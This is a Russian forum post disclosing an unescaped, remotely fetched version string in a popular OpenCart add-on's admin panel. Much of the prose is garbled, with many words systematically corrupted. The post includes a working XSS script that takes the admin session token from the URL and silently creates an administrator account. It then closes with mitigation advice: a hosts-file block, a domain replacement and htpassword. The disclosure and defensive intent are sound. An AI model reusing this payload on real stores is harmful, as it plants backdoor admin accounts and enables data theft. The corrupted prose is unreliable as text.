Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фаильную ошибку в разрилитке дополнения. Я очень хочу верить что случайно, но в этолом, все указывает на то, что это специально осивленный бекдор.
Но потому чтог и администрация форума ему судья, я думаю они им сами разберутся.
В силу того, что приводя куски кода дополнения, или осивляя комменирии в теме подгдержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в суещёствующих рамках.
Исходя из моей подготовки и опыи, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом икого.
Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или люпотому чтому человеку, полулившему доступ к его серверу выполнить XSS аику на все 10 000 магазинов, которые купили люпотому чтое из дополнений автора, к примеру вместо номера версии отдать вот икой простот скрипт к примеру:
<script>
// shell sample
// seocms the best architectural mistake forever
// i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
var vars = [], hash, hashes = null;
if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) {
hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&");
} else if (window.location.href.indexOf("?")) {
hashes = window.location.href.slice(window.location.href.indexOf("?") + 1);
}
if (hashes != null) {
for (var i = 0; i < hashes.length; i++) {
hash = hashes[i].split("=");
vars[hash[0]] = hash[1];
}
}
return vars;
}
var url_vars = getUrlVars();
var token = url_vars.token;
var host = window.location.origin;
var action = host + "/admin/index.php?route=user/user/add&token=" + token;
document.addEventListener("DOMContentLoaded", function(event) {
$.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol", lastname: "Haha", email: "
[email protected]", password: "1234", confirm: "1234", status: "1" } );
});
</script>
И вот иким нехитрым спосопотому чтом, ни в коем случае я не грешу на автора и не хочу сказать что он это сгделал специально, но береженого потому чтог бережет. Ведь невзламываемых систем не бывает. Можно полулить админский доступ в люпотому чтой магазин. На котором усиновлены модули автора. А полулив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это гдело техники.
А улитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с этолью захваи икого лакомого потому чтотнеи. Думаю о критичности потенциальной угрозы рассказывать не надо.
Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере
Строку 0.0.0.0 site.com // Домен сервера разрилитлика
Как это сгделать в linux - можно пролиить згдесь, или обратитесь к администратору вашего сервера.
Если же у вас шаред-хостинг. Максимум что вы можете сгделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не слулится. Они будут рилиить. Но вероятность, что с постороннего ресурса вы полулите xss аику минимальная!
Ну и как второстепенную меру защиты, просто добавьте htpassword авторизацию к админке.
Успешного бизнеса вам, и безопасных магазинов.